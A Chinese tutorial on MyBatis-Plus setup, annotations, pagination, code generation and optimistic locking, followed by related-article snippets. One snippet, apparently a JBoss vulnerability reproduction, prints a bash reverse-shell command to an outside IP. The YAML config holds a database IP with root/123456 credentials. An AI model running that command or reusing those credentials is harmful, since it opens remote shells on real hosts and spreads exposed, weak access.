上海迪士尼网页制作/深圳seo优化方案
1.概述
在真实项目开发中我们的服务模块,一般都要进行数据库操作,并且每个domain都有crud,需多次写重复代码。我们使用MybatisPlus,就不用写重复代码,并且还有模板的功能,可以一键生成daomin,query,mapper接口,mapper.xml,service,controller,非常好用。
MyBatis-Plus(简称 MP)是一个 MyBatis 的增强工具,在 MyBatis 的基础上只做增强不做改变,为简化开发、提高效率而生。他有如下特点:
- 无侵入:只做增强不做改变,引入它不会对现有工程产生影响,如丝般顺滑
- 损耗小:启动即会自动注入基本 CURD,性能基本无损耗,直接面向对象操作
- 强大的 CRUD 操作:内置通用 Mapper、通用 Service,仅仅通过少量配置即可实现单表大部分 CRUD 操作,更有强大的条件构造器,满足各类使用需求
- 支持 Lambda 形式调用:通过 Lambda 表达式,方便的编写各类查询条件,无需再担心字段写错
- 支持多种数据库:支持 MySQL、MariaDB、Oracle、DB2、H2、HSQL、SQLite、Postgre、SQLServer2005、SQLServer 等多种数据库
- 支持主键自动生成:支持多达 4 种主键策略(内含分布式唯一 ID 生成器 - Sequence),可自由配置,完美解决主键问题
- 支持 XML 热加载Mapper 对应的 XML支持热加载对于简单的 CRUD 操作甚至可以无 XML 启动
- 支持 ActiveRecord 模式:支持 ActiveRecord 形式调用,实体类只需继承 Model 类即可进行强大的 CRUD 操作
- 支持自定义全局通用操作:支持全局通用方法注入( Write once, use anywhere )
- 支持关键词自动转义:支持数据库关键词(order、key......)自动转义,还可自定义关键词
- 内置代码生成器:采用代码或者 Maven 插件可快速生成 Mapper 、 Model 、 Service 、 Controller 层代码,支持模板引擎,更有超多自定义配置等您来使用
- 内置分页插件:基于 MyBatis 物理分页,开发者无需关心具体操作,配置好插件之后,写分页等同于普通 List 查询
- 内置性能分析插件:可输出 Sql 语句以及其执行时间建议开发测试时启用该功能,能快速揪出慢查询
- 内置全局拦截插件:提供全表 delete,update 操作智能分析阻断也可自定义拦截规则,预防误操作
- 内置 Sql 注入剥离器:支持 Sql 注入剥离,有效预防 Sql 注入攻击
也就是说,我们不仅可以使用MybatisPlus来代替mybatis,还可以使用MybatisPlus给我们生产基础的CRUD代码,下面是一个使用示意图
1.1导入依赖
<!--mybatisplus持久层依赖--><dependency><groupId>com.baomidou</groupId><artifactId>mybatis-plus-boot-starter</artifactId><version>3.3.1</version></dependency><!-- mysql驱动--><dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><version>8.0.33</version></dependency><!--mysql依赖--><!--连接池依赖--><dependency><groupId>com.alibaba</groupId><artifactId>druid-spring-boot-starter</artifactId><version>1.1.23</version></dependency>
1.2编写yml配置文件
spring:# mybaits-plus数据源配置datasource:username: rootpassword: 123456url: jdbc:mysql://8.137.78.153:3306/fccar-driver?serverTimezone=Asia/Shanghai&characterEncoding=utf8driver-class-name: com.mysql.cj.jdbc.Drivertype: com.alibaba.druid.pool.DruidDataSource # 配置阿里的连接池druid: # Druid 【监控】相关的全局配置# 配置初始化大小、最小、最大initial-size: 5minIdle: 10max-active: 20# 配置获取连接等待超时的时间(单位:毫秒)max-wait: 60000########### 启用内置过滤器(第一个 stat必须,否则监控不到SQL)##########filters: stat,wall,log4j2web-stat-filter:enabled: truestat-view-servlet:enabled: trueallow: # 设置白名单,不填则允许所有访问url-pattern: /druid/*login-username: fccar # 控制台管理用户名和密码login-password: fccarfilter:stat:enabled: truelog-slow-sql: true # 慢 SQL 记录slow-sql-millis: 2000merge-sql: truewall:config:multi-statement-allow: true
# mybatis-plus配置
mybatis-plus:type-aliases-package: cn.lgc.domain,cn.lgc.query #别名包扫描mapper-locations: classpath:cn/lgc/mapper/*Mapper.xml #SQL映射文件扫描global-config:db-config: #设置逻辑删除,通过把delete字段改成0而不是直接删除数据logic-not-delete-value: 0logic-delete-value: 1configuration:map-underscore-to-camel-case: true # 开启驼峰命名转换法cache-enabled: false #禁用缓存log-impl: org.apache.ibatis.logging.stdout.StdOutImpl # 配置日志,在控制台输出SQL
1.3mybatis配置类
@Configuration
//扫描Mybatis的mapper映射器
@MapperScan("cn.itsource.mapper")
public class MybatisPlusConfig {//分页插件配置对象,Mybatis-plus需要此配置对象@Beanpublic PaginationInterceptor paginationInterceptor() {return new PaginationInterceptor();}//乐观锁插件@Beanpublic OptimisticLockerInterceptor optimisticLockerInterceptor(){return new OptimisticLockerInterceptor();}
}
常用注解
@TableName("t_teacher")
指定当前类的表名
@TableId
指定当前字段属性,为表主键id,主键增长方式为自动增长
@TableId(type = IdType.AUTO)
private Long id;
IdType属性
/*** 数据库ID自增* <p>该类型请确保数据库设置了 ID自增 否则无效</p>*/
AUTO(0),
/*** 该类型为未设置主键类型(注解里等于跟随全局,全局里约等于 INPUT)*/
NONE(1),
/*** 用户输入ID* <p>该类型可以通过自己注册自动填充插件进行填充</p>*/
INPUT(2),/* 以下2种类型、只有当插入对象ID 为空,才自动填充。 */
/*** 分配ID (主键类型为number或string),* 默认实现类 {@link com.baomidou.mybatisplus.core.incrementer.DefaultIdentifierGenerator}(雪花算法)** @since 3.3.0*/
ASSIGN_ID(3),
/*** 分配UUID (主键类型为 string)* 默认实现类 {@link com.baomidou.mybatisplus.core.incrementer.DefaultIdentifierGenerator}(UUID.replace("-",""))*/
ASSIGN_UUID(4);
@TableField
数据库表字段标识
@TableField("name")
private String name;
TableField属性
/*** 数据库字段值* <p>* 不需要配置该值的情况:* <li> 当 {@link com.baomidou.mybatisplus.core.MybatisConfiguration#mapUnderscoreToCamelCase} 为 true 时,* (mp下默认是true,mybatis默认是false), 数据库字段值.replace("_","").toUpperCase() == 实体属性名.toUpperCase() </li>* <li> 当 {@link com.baomidou.mybatisplus.core.MybatisConfiguration#mapUnderscoreToCamelCase} 为 false 时,* 数据库字段值.toUpperCase() == 实体属性名.toUpperCase() </li>*/String value() default "";/*** 是否为数据库表字段* <p>* 默认 true 存在,false 不存在*/boolean exist() default true;/*** 字段 where 实体查询比较条件* <p>* 默认 {@link SqlCondition#EQUAL}*/String condition() default "";/*** 字段 update set 部分注入, 该注解优于 el 注解使用* <p>* 例1:@TableField(.. , update="%s+1") 其中 %s 会填充为字段* 输出 SQL 为:update 表 set 字段=字段+1 where ...* <p>* 例2:@TableField(.. , update="now()") 使用数据库时间* 输出 SQL 为:update 表 set 字段=now() where ...*/String update() default "";/*** 字段验证策略之 insert: 当insert操作时,该字段拼接insert语句时的策略* <p>* IGNORED: 直接拼接 insert into table_a(column) values (#{columnProperty});* NOT_NULL: insert into table_a(<if test="columnProperty != null">column</if>) values (<if test="columnProperty != null">#{columnProperty}</if>)* NOT_EMPTY: insert into table_a(<if test="columnProperty != null and columnProperty!=''">column</if>) values (<if test="columnProperty != null and columnProperty!=''">#{columnProperty}</if>)* NOT_EMPTY 如果针对的是非 CharSequence 类型的字段则效果等于 NOT_NULL** @since 3.1.2*/FieldStrategy insertStrategy() default FieldStrategy.DEFAULT;/*** 字段验证策略之 update: 当更新操作时,该字段拼接set语句时的策略* <p>* IGNORED: 直接拼接 update table_a set column=#{columnProperty}, 属性为null/空string都会被set进去* NOT_NULL: update table_a set <if test="columnProperty != null">column=#{columnProperty}</if>* NOT_EMPTY: update table_a set <if test="columnProperty != null and columnProperty!=''">column=#{columnProperty}</if>* NOT_EMPTY 如果针对的是非 CharSequence 类型的字段则效果等于 NOT_NULL** @since 3.1.2*/FieldStrategy updateStrategy() default FieldStrategy.DEFAULT;/*** 字段验证策略之 where: 表示该字段在拼接where条件时的策略* <p>* IGNORED: 直接拼接 column=#{columnProperty}* NOT_NULL: <if test="columnProperty != null">column=#{columnProperty}</if>* NOT_EMPTY: <if test="columnProperty != null and columnProperty!=''">column=#{columnProperty}</if>* NOT_EMPTY 如果针对的是非 CharSequence 类型的字段则效果等于 NOT_NULL** @since 3.1.2*/FieldStrategy whereStrategy() default FieldStrategy.DEFAULT;/*** 字段自动填充策略* <p>* 在对应模式下将会忽略 insertStrategy 或 updateStrategy 的配置,等于断言该字段必有值*/FieldFill fill() default FieldFill.DEFAULT;/*** 是否进行 select 查询* <p>* 大字段可设置为 false 不加入 select 查询范围*/boolean select() default true;/*** 是否保持使用全局的 columnFormat 的值* <p>* 只生效于 既设置了全局的 columnFormat 也设置了上面 {@link #value()} 的值* 如果是 false , 全局的 columnFormat 不生效** @since 3.1.1*/boolean keepGlobalFormat() default false;/*** {@link ResultMapping#property} and {@link ParameterMapping#property}** @since 3.4.4*/String property() default "";/*** JDBC类型 (该默认值不代表会按照该值生效),* 只生效于 mp 自动注入的 method,* 建议配合 {@link TableName#autoResultMap()} 一起使用* <p>* {@link ResultMapping#jdbcType} and {@link ParameterMapping#jdbcType}** @since 3.1.2*/JdbcType jdbcType() default JdbcType.UNDEFINED;/*** 类型处理器 (该默认值不代表会按照该值生效),* 只生效于 mp 自动注入的 method,* 建议配合 {@link TableName#autoResultMap()} 一起使用* <p>* {@link ResultMapping#typeHandler} and {@link ParameterMapping#typeHandler}** @since 3.1.2*/Class<? extends TypeHandler> typeHandler() default UnknownTypeHandler.class;/*** 只在使用了 {@link #typeHandler()} 时判断是否辅助追加 javaType* <p>* 一般情况下不推荐使用* {@link ParameterMapping#javaType}** @since 3.4.0 @2020-07-23*/boolean javaType() default false;/*** 指定小数点后保留的位数,* 只生效于 mp 自动注入的 method,* 建议配合 {@link TableName#autoResultMap()} 一起使用* <p>* {@link ParameterMapping#numericScale}** @since 3.1.2*/String numericScale() default "";
基本方法
分页
1.分页代码
QueryWrapper<Student> wrapper = new QueryWrapper<>();Page<Student> page = new Page<>(2,7);studentMapper.selectPage(page, wrapper);/*总页数*/long total = page.getTotal();/*当前页内容*/List<Student> records = page.getRecords();System.out.println("总条数"+total);System.out.println("当前页内容"+records);System.out.println("当前页码"+page.getCurrent());System.out.println("每页显示数"+page.getSize());System.out.println("总页数"+page.getPages());
2.分页拦截器
@Beanpublic MybatisPlusInterceptor mybatisPlusInterceptor() {MybatisPlusInterceptor interceptor = new MybatisPlusInterceptor();//分页拦截器,添加数据库类型PaginationInnerInterceptor paginationInnerInterceptor = new PaginationInnerInterceptor(DbType.MYSQL);//分页合理化paginationInnerInterceptor.setOverflow(true);//mybatis拦截器添加分页拦截器interceptor.addInnerInterceptor(paginationInnerInterceptor);return interceptor;}
代码生成器
使用velocity模板
依赖
<dependency><groupId>com.baomidou</groupId><artifactId>mybatis-plus-boot-starter</artifactId><version>3.3.1</version></dependency><!--代码生成模式插件 3.0.3以后需要手动设置依赖--><dependency><groupId>com.baomidou</groupId><artifactId>mybatis-plus-generator</artifactId><version>3.3.1.tmp</version></dependency><!-- 模板引擎 依赖,MyBatis-Plus 支持 Velocity--><dependency><groupId>org.apache.velocity</groupId><artifactId>velocity-engine-core</artifactId><version>2.1</version></dependency><!--数据库连接依赖--><dependency><groupId>mysql</groupId><artifactId>mysql-connector-java</artifactId><version>8.0.18</version></dependency>
启动代码
package cn.lgc.utils;import com.baomidou.mybatisplus.annotation.DbType;
import com.baomidou.mybatisplus.annotation.IdType;
import com.baomidou.mybatisplus.generator.AutoGenerator;
import com.baomidou.mybatisplus.generator.InjectionConfig;
import com.baomidou.mybatisplus.generator.config.*;
import com.baomidou.mybatisplus.generator.config.converts.MySqlTypeConvert;
import com.baomidou.mybatisplus.generator.config.po.TableInfo;
import com.baomidou.mybatisplus.generator.config.rules.DateType;
import com.baomidou.mybatisplus.generator.config.rules.NamingStrategy;import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.ResourceBundle;/*** genterator** @author 陈立高* @date 2024/01/26*/
public class Genterator {public static void main(String[] args) {//读取配置文件ResourceBundle rb = ResourceBundle.getBundle("config-driver");//业务代码输出路径String outputDir = rb.getString("OutputDir");//sql映射文件输出路径String outputDirXml = rb.getString("OutputDirXml");//作者String author = rb.getString("author");// 代码生成器AutoGenerator mpg = new AutoGenerator();// 全局配置GlobalConfig gc = new GlobalConfig();// 代码输出位置gc.setOutputDir(outputDir);// 作者gc.setAuthor(author);// 打开代码生成目录gc.setOpen(false);//生成 resultMapgc.setBaseResultMap(true);//生成查询列明gc.setBaseColumnList(true);//日期类型gc.setDateType(DateType.ONLY_DATE);//ID使用雪花算法gc.setIdType(IdType.ASSIGN_ID);//添加接口文档注解gc.setSwagger2(true);mpg.setGlobalConfig(gc);// 数据源配置DataSourceConfig dsc = new DataSourceConfig();// 数据库类型dsc.setDbType(DbType.MYSQL);dsc.setTypeConvert(new MySqlTypeConvert());// 连接属性dsc.setDriverName(rb.getString("jdbc.driver"));dsc.setUsername(rb.getString("jdbc.user"));dsc.setPassword(rb.getString("jdbc.pwd"));dsc.setUrl(rb.getString("jdbc.url"));mpg.setDataSource(dsc);// 表策略配置StrategyConfig strategy = new StrategyConfig();strategy.setTablePrefix(new String[] { "t_" });// 此处可以修改为您的表前缀strategy.setNaming(NamingStrategy.underline_to_camel);// 表名生成策略strategy.setInclude(new String[]{"t_driver","t_driver_aggrement","t_driver_auth_material","t_driver_material_auth_log","t_driver_setting","t_driver_summary","t_driver_wallet","t_driver_wallet_flow"}); // 需要生成的表//使用lombokstrategy.setEntityLombokModel(true);strategy.setEntitySerialVersionUID(true);//乐观锁字段strategy.setVersionFieldName("version");//逻辑删除字段strategy.setLogicDeleteFieldName("deleted");//domain的父类//strategy.setSuperEntityClass("cn.itsource.pojo.BaseDomain");//controller的父类//strategy.setSuperControllerClass("cn.itsource.controller.BaseController");//生成注解strategy.setEntityTableFieldAnnotationEnable(true);strategy.setEntitySerialVersionUID(true);mpg.setStrategy(strategy);// 包配置PackageConfig pc = new PackageConfig();//基础路径 cn.xxxpc.setParent(rb.getString("parent"));//controller的包pc.setController("controller.manager");pc.setService("service");pc.setServiceImpl("service.impl");pc.setEntity("pojo.domain");pc.setMapper("mapper");mpg.setPackageInfo(pc);// 注入自定义配置,可以在 VM 中使用 cfg.abc 【可无】InjectionConfig cfg = new InjectionConfig() {@Overridepublic void initMap() {this.setMap(new HashMap<String, Object>());}};//文件生成配置List<FileOutConfig> focList = new ArrayList<FileOutConfig>();//controller的输出配置focList.add(new FileOutConfig("/templates/controller.java.vm") {@Overridepublic String outputFile(TableInfo tableInfo) {//合并好的内容输出到哪儿?return outputDir+ "/cn/lgc/controller/manager/" + tableInfo.getEntityName() + "Controller.java";}});// 调整 domain 生成目录演示focList.add(new FileOutConfig("/templates/entity.java.vm") {@Overridepublic String outputFile(TableInfo tableInfo) {return outputDir+ "/cn/lgc/pojo/domain/" + tableInfo.getEntityName() + ".java";}});// 调整 xml 生成目录演示focList.add(new FileOutConfig("/templates/mapper.xml.vm") {@Overridepublic String outputFile(TableInfo tableInfo) {return outputDirXml+ "/cn/lgc/mapper/" + tableInfo.getEntityName() + "Mapper.xml";}});cfg.setFileOutConfigList(focList);mpg.setCfg(cfg);// 自定义模板配置,可以 copy 源码 mybatis-plus/src/main/resources/templates 下面内容修改,// 放置自己项目的 src/main/resources/templates 目录下, 默认名称可以不配置,也可以自定义模板名称TemplateConfig tc = new TemplateConfig();tc.setService("/templates/service.java.vm");tc.setServiceImpl("/templates/serviceImpl.java.vm");tc.setMapper("/templates/mapper.java.vm");tc.setEntity(null);tc.setController(null);tc.setXml(null);// 如上任何一个模块如果设置 空 OR Null 将不生成该模块。mpg.setTemplate(tc);// 执行生成mpg.execute();}}
配置文件
创建一个resources/config-driver.properties文件,内容如下
OutputDir=D:/devlop/code_space/it-fccar/it-fccar/it-fccar-service/it-fccar-service-driver/src/main/java
OutputDirXml=D:/devlop/code_space/it-fccar/it-fccar/it-fccar-service/it-fccar-service-driver/src/main/resources
author=clid
parent=xxx
jdbc.driver=com.mysql.jdbc.Driver
jdbc.url=jdbc:mysql:///fccar-drver?serverTimezone=Asia/Shanghai&characterEncoding=utf8&useSSL=false
jdbc.user=root
jdbc.pwd=123456
模板
把准备好的模板 controller.java.vm ; query.java.vm 拷贝到resources /templates目录下
Controller模板
package ${package.Controller};import ${package.Service}.${table.serviceName};
import ${package.Entity}.${entity};import com.baomidou.mybatisplus.extension.plugins.pagination.Page;import org.springframework.beans.factory.annotation.Autowired;import org.springframework.web.bind.annotation.*;import io.swagger.v3.oas.annotations.Operation;import io.swagger.v3.oas.annotations.Parameter;import io.swagger.v3.oas.annotations.tags.Tag;import javax.validation.Valid;import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper;import cn.lgc.pojo.query.PageQueryWrapper;import cn.lgc.result.R;import cn.lgc.result.PageResult;@Tag(name = "$!{table.comment}",description = "$!{table.comment}")@RestController@RequestMapping("/manager/${table.entityPath}")public class ${entity}Controller{@Autowiredpublic ${table.serviceName} ${table.entityPath}Service;@Operation( summary= "保存${entity}",description = "基础对象保存接口")@Parameter(name = "${table.entityPath}",description = "保存的对象",required = true)@PostMappingpublic R<Boolean> save(@RequestBody @Valid ${entity} ${table.entityPath}){return R.success(${table.entityPath}Service.save(${table.entityPath}));}@Operation( summary= "修改${entity}",description = "基础对象修改接口")@Parameter(name = "${table.entityPath}",description = "修改的对象",required = true)@PutMappingpublic R<Boolean> update(@RequestBody @Valid ${entity} ${table.entityPath}){return R.success(${table.entityPath}Service.updateById(${table.entityPath}));}//删除对象@Operation( summary= "删除${entity}",description = "基础对象删除接口,采用状态删除")@Parameter(name = "id",description = "删除的对象ID",required = true)@DeleteMapping(value="/{id}")public R<Boolean> delete(@PathVariable("id") Long id){return R.success(${table.entityPath}Service.removeById(id));}//获取对象@Operation( summary= "获取${entity}",description = "基础对象获取接口")@Parameter(name = "id",description = "查询的对象ID",required = true)@GetMapping(value = "/{id}")public R<${entity}> get(@PathVariable("id")Long id){return R.success(${table.entityPath}Service.getById(id));}//获取列表:PageQueryWrapper作为通用的查询对象@Operation( summary= "查询${entity}列表",description = "基础对象列表查询,不带分页")@Parameter(name = "query",description = "查询条件",required = true)@PostMapping(value = "/list")public R<List<${entity}>> list(@RequestBody PageQueryWrapper<${entity}> query){QueryWrapper<${entity}> wrapper = new QueryWrapper<>();//实体类作为查询条件wrapper.setEntity(query.getQuery());return R.success(${table.entityPath}Service.list(wrapper));}//分页查询@Operation( summary= "查询${entity}分页列表",description = "基础对象列表查询,带分页")@Parameter(name = "query",description = "查询条件,需要指定分页条件",required = true)@PostMapping(value = "/pagelist")public R<PageResult<${entity}>> page(@RequestBody PageQueryWrapper<${entity}> query){//分页查询Page<${entity}> page = new Page<${entity}>(query.getPage(),query.getRows());QueryWrapper<${entity}> wrapper = new QueryWrapper<>();//实体类作为查询条件wrapper.setEntity(query.getQuery());//分页查询page = ${table.entityPath}Service.page(page,wrapper);//返回结果return R.success(new PageResult<${entity}>(page.getTotal(),page.getRecords()));}}
entity模板
package ${package.Entity};#foreach($pkg in ${table.importPackages})
import ${pkg};
#end
#if(${swagger2})
import io.swagger.v3.oas.annotations.media.Schema;
#end
#if(${entityLombokModel})
import lombok.Data;
import lombok.EqualsAndHashCode;
import lombok.experimental.Accessors;
import com.fasterxml.jackson.annotation.JsonFormat;#end/*** <p>* $!{table.comment}* </p>** @author ${author}* @since ${date}*/
#if(${entityLombokModel})
@Data#if(${superEntityClass})
@EqualsAndHashCode(callSuper = true)#else
@EqualsAndHashCode(callSuper = false)#end
@Accessors(chain = true)
#end
#if(${table.convert})
@TableName("${table.name}")
#end
#if(${swagger2})
@Schema(name = "${entity}对象", description = "$!{table.comment}")
#end
#if(${superEntityClass})
public class ${entity} extends ${superEntityClass}#if(${activeRecord})<${entity}>#end {
#elseif(${activeRecord})
public class ${entity} extends Model<${entity}> {
#else
public class ${entity} implements Serializable {
#end#if(${entitySerialVersionUID})private static final long serialVersionUID=1L;
#end
## ---------- BEGIN 字段循环遍历 ----------
#foreach($field in ${table.fields})
#if(${field.keyFlag})
#set($keyPropertyName=${field.propertyName})
#end#if(${swagger2})@Schema(name = "${field.propertyName}", description = "${field.comment}")#else#if("$!field.comment" != "")/*** ${field.comment}*/#end
#end
#if(${field.keyFlag})
## 主键@JsonFormat(shape = JsonFormat.Shape.STRING)#if(${field.keyIdentityFlag})@TableId(value = "${field.name}", type = IdType.AUTO)#elseif(!$null.isNull(${idType}) && "$!idType" != "")@TableId(value = "${field.name}", type = IdType.${idType})#elseif(${field.convert})@TableId("${field.name}")#end
## 普通字段
#elseif(${field.fill})
## ----- 存在字段填充设置 -----#if(${field.convert})@TableField(value = "${field.name}", fill = FieldFill.${field.fill})#else@TableField(fill = FieldFill.${field.fill})#end
#elseif(${field.convert})@TableField("${field.name}")
#end
#if(${versionFieldName}==${field.name})@Version
#end
#if(${logicDeleteFieldName}==${field.name})@TableLogic
#endprivate ${field.propertyType} ${field.propertyName};
#end
## ---------- END 字段循环遍历 ----------
#if(!${entityLombokModel})
#foreach($field in ${table.fields})#if(${field.propertyType.equals("boolean")})#set($getprefix="is")#else#set($getprefix="get")#endpublic ${field.propertyType} ${getprefix}${field.capitalName}() {return ${field.propertyName};}#if(${entityBuilderModel})public ${entity} set${field.capitalName}(${field.propertyType} ${field.propertyName}) {#elsepublic void set${field.capitalName}(${field.propertyType} ${field.propertyName}) {#endthis.${field.propertyName} = ${field.propertyName};#if(${entityBuilderModel})return this;#end}
#end
## --foreach end---
#end
## --end of #if(!${entityLombokModel})--#if(${entityColumnConstant})#foreach($field in ${table.fields})public static final String ${field.name.toUpperCase()} = "${field.name}";#end
#end
#if(${activeRecord})@Overrideprotected Serializable pkVal() {#if(${keyPropertyName})return this.${keyPropertyName};#elsereturn null;#end}#end
#if(!${entityLombokModel})@Overridepublic String toString() {return "${entity}{" +#foreach($field in ${table.fields})#if($!{foreach.index}==0)"${field.propertyName}=" + ${field.propertyName} +#else", ${field.propertyName}=" + ${field.propertyName} +#end#end"}";}
#end
}
以下链接中的velocity模板,可以根据需求更改
链接
乐观锁
悲观锁:无论什么时候一上来先加锁,再操作数据
乐观锁:有线程并发才加锁,没有的时候是无锁状态,但是MySql底层在数据操作时其实是加了锁的。MySal实现乐观锁就是依靠version字段,每次修改数据时都把version+1,并且version作为修改条件等于自己查询出来的值如果不相等就修改失败
MybatisPlus提供了update时进行乐观锁自动校验功能,我们只需要在表中提供 version字段,然后配置好MybatisPlus的乐观锁插件即可。
第一步:数据库配置乐观锁
第二步:配置乐观锁插件
第三步骤:实体类标记乐观锁字段
当我们执行 update时,乐观锁就会生效
相关文章:

mybatis-puls快速入门
1.概述 在真实项目开发中我们的服务模块,一般都要进行数据库操作,并且每个domain都有crud,需多次写重复代码。我们使用MybatisPlus,就不用写重复代码,并且还有模板的功能,可以一键生成daomin,query,mapper…...

Pool 和 PG 架构(二)
Ceph 的存储架构设计旨在提供高可用性和可扩展性。其中,Pool(存储池)和 PG(放置组)是两个核心概念。下面详细介绍 Ceph 的 Pool 和 PG 架构以及它们之间的关系。 1. Pool池 概念: Pool(存储池…...

客户服务升级指南:如何以细节赢得客户忠诚
在当今这个竞争激烈的市场环境中,客户忠诚度已成为企业生存与发展的关键所在。而要想赢得并维持客户的忠诚,仅凭优质的产品或服务已远远不够,更需要企业在客户服务上下足功夫,从每一个细节入手,打造超越客户期待的服务…...

闲盒支持的组网方式和注意事项
1. 直连光猫拨号 通过光猫拨号,设备直连光猫的设备,需要对光猫开启UPNP并关闭DMZ 如果只接一个盒子,建议直接针对盒子IP开dmz。 2. 直连路由器 通过路由器拨号,设备直连路由器的设备,需要对路由器开启UPNP并关闭…...

828华为云征文|华为云Flexus云服务器X实例之openEuler系统下搭建MaxKB开源知识库问答系统
828华为云征文|华为云Flexus云服务器X实例之openEuler系统下搭建MaxKB开源知识库问答系统 前言一、Flexus云服务器X实例介绍1.1 Flexus云服务器X实例简介1.2 Flexus云服务器X实例特点1.3 Flexus云服务器X实例使用场景 二、MaxKB 介绍2.1 MaxKB简介2.2 MaxKB整体架构…...

[Linux]:信号(上)
✨✨ 欢迎大家来到贝蒂大讲堂✨✨ 🎈🎈养成好习惯,先赞后看哦~🎈🎈 所属专栏:Linux学习 贝蒂的主页:Betty’s blog 1. 信号的引入 1.1 信号的概念 在Linux系统中,信号(…...

浙大数据结构:05-树9 Huffman Codes
这道题难度挺大,写起来较为费劲,这里我依然使用了STL库,使得代码量大幅减少不过百行,便于大家理解。 机翻: 1、条件准备 数组存储字符对应频率,n,student存储输入多少字符,有多少学生测试。 …...

scrapy爬虫基础
一、初识 创建项目: scrapy startproject my_one_project # 创建项目命令 cd my_one_project # 先进去, 后面在里面运行 运行爬虫命令为:scrapy crawl tk spiders下创建test.py 其中name就是scrapy crawl tk &…...

利用H5无插件播放RTSP流的实现方案
文章目录 0. 引言1. 问题分析1.1 RTSP流与浏览器的兼容性1.2 解决思路 2. 方案设计2.1 总体架构2.2 关键组件 3. 实施步骤3.1 环境准备3.2 安装与配置3.2.1 安装FFmpeg3.2.2 安装OpenResty3.2.3 添加nginx-rtmp-module模块3.2.4 配置OpenResty 3.3 推流操作3.4 前端播放3.4.1 引…...

CSS文本格式化
通过 CSS 中的文本属性您可以像操作 Word 文档那样定义网页中文本的字符间距、对齐方式、缩进等等,CSS 中常用的文本属性如下所示: text-align:设置文本的水平对齐方式;text-decoration:设置文本的装饰;te…...

python的 __name__和__doc__属性
__name__属性 __name__属性 用于判断当前模块是不是程序入口,如果当前程序正在使用,__name__的值为__main__。 在编写程序时,通常需要给每个模块添加条件语句,用于单独测试该模块的功能。 每个模块都有一个名称,当一…...

Go语言中的Mutex实现探讨
解锁Python编程的无限可能:《奇妙的Python》带你漫游代码世界 在并发编程中,互斥锁(Mutex)是一个重要的工具,它帮助我们控制多个协程对共享资源的访问,从而防止数据竞争和不一致性。本文将深入探讨Go语言中Mutex的实现历程和使用方式,同时分享在处理并发问题时的思路与…...

第五届计算机科学与管理科技国际学术会议(ICCSMT 2024)
梁哲,同济大学长聘特聘教授,国家杰青、首届国家杰青延续项目获得者、上海市曙光学者、上海市优秀学术带头人。本科毕业于新加坡国立大计算机工程系、硕士毕业于新加坡国立大学工业与系统工程系、博士毕业于美国新泽西州立大学工业工程系。理论研究主要集…...

【machine learning-13-线性回归的向量化】
向量化 向量化简洁并行计算 向量化 线性回归的向量化表示如下,其中w 和 x 都分别加了箭头表示这是个向量,后续不加也可以表示为向量,w和x点乘加上b,就构成了多元线性回归的表达方式,如下: 那么究竟为什么…...

【CSS|第2期】探索HTML与CSS中的文档流:从自然流到高级布局技巧
日期:2024年9月9日 作者:Commas 签名:(ง •_•)ง 积跬步以致千里,积小流以成江海…… 注释:如果您觉在这里插入代码片得有所帮助,帮忙点个赞,也可以关注我,我们一起成长;如果有不对…...

MATLAB绘图基础9:多变量图形绘制
参考书:《 M A T L A B {\rm MATLAB} MATLAB与学术图表绘制》(关东升)。 9.多变量图形绘制 9.1 气泡图 气泡图用于展示三个或更多变量变量之间的关系,气泡图的组成要素: 横轴( X {\rm X} X轴):表示数据集中的一个变量,…...

JBOSS中间件漏洞复现
CVE-2015-7501 1.开启环境 cd vulhub/jboss/JMXInvokerServlet-deserialization docker-compose up -d docker ps 2.访问靶场 3.访问/invoker/JMXInvokerServlet目录 4.将反弹shell进⾏base64编码 bash -i >& /dev/tcp/47.121.191.208/6666 0>&1 YmFzaCAt…...

每日论文6—16ISCAS一种新型低电流失配和变化电流转向电荷泵
《A Novel Current Steering Charge Pump with Low Current Mismatch and Variation》16ISCAS 本文首先介绍了传统的current steering charge pump,如下图: 比起最简单的电荷泵,主要好处是UP和DN开关离输出节点较远,因此一定程度…...

低代码开发平台:未来五大发展趋势预测
在数字化转型的浪潮中,低代码开发平台正迅速崛起,成为企业软件开发的重要工具。随着技术的不断进步和市场需求的持续增长,低代码开发平台在未来将展现出更为广阔的发展前景。本文将预测并探讨低代码开发平台的五大发展趋势。 深度融合数字化与…...

国内AI大模型,这篇文章说透了
探索国内顶尖AI企业及其创新产品。 人工智能(AI)的发展正以前所未有的速度推进。 从简单的自动化任务到复杂的决策制定、自然语言处理、图像识别及自主系统的实现,不断拓宽着人类智慧的边界。 国内AI发展迅猛,不仅在理论研究上…...

3.4 爬虫实战-爬去智联招聘职位信息
课程目标 爬去智联招聘 课程内容 import requests from bs4 import BeautifulSoup from tqdm import tqdm import pandas as pd import time def tran_salary(ori_salary):if "万" in ori_salary:ori_salary ori_salary.replace("万","")ori…...

Java 之注解详解
Java 注解(Annotation)自 Java 5 版本引入,为代码提供了强大的元数据支持。它们如同代码中的标记,能够被编译器、工具和运行时环境识别,赋予代码更丰富的语义和更强大的功能。 一、注解入门 1.1 初识注解:…...

计算机视觉实战项目4(图像分类+目标检测+目标跟踪+姿态识别+车道线识别+车牌识别+无人机检测+A*路径规划+单目测距与测速+行人车辆计数等)
往期热门项目回顾: 计算机视觉项目大集合 改进的yolo目标检测-测距测速 路径规划算法 图像去雨去雾目标检测测距项目 交通标志识别项目 yolo系列-重磅yolov9界面-最新的yolo 姿态识别-3d姿态识别 深度学习小白学习路线 AI健身教练-引体向上-俯卧撑计数…...

【Spring Cloud】Spring Cloud 概述
Spring Cloud 概述 1. 认识微服务1.1 单体架构1.2 集群和分布式架构集群和分布式 1.3 微服务架构分布式架构&微服务架构 1.4 微服务带来的挑战优势挑战 2. 微服务解决⽅案- Spring Cloud2.1 什么是Spring Cloud2.2 Spring Cloud版本Spring Cloud和SpringBoot的关系 2.3 Spr…...

猫头虎带你解决:error Error: certificate has expired
🐯猫头虎带你解决:error Error: certificate has expired 💥 今天有粉丝问猫哥:“🐯猫头虎,我在 Node.js 项目中使用 Yarn 安装包时遇到了一个错误:Error: certificate has expired。你能帮忙解…...

盘点2024年4款高效率的语音转文字工具。
语音转换文字软件真的是一种提高效率的神器,我在工作中常常因为手动记录太慢而选择录音。事后在形成记录,但效率比较低。自从知道有直接转换的工具之后,我有再多的录音都不怕了。如果大家也有跟我一样的工作时,可以试试使用这些语…...

记录Mac编译Android源码踩过的坑
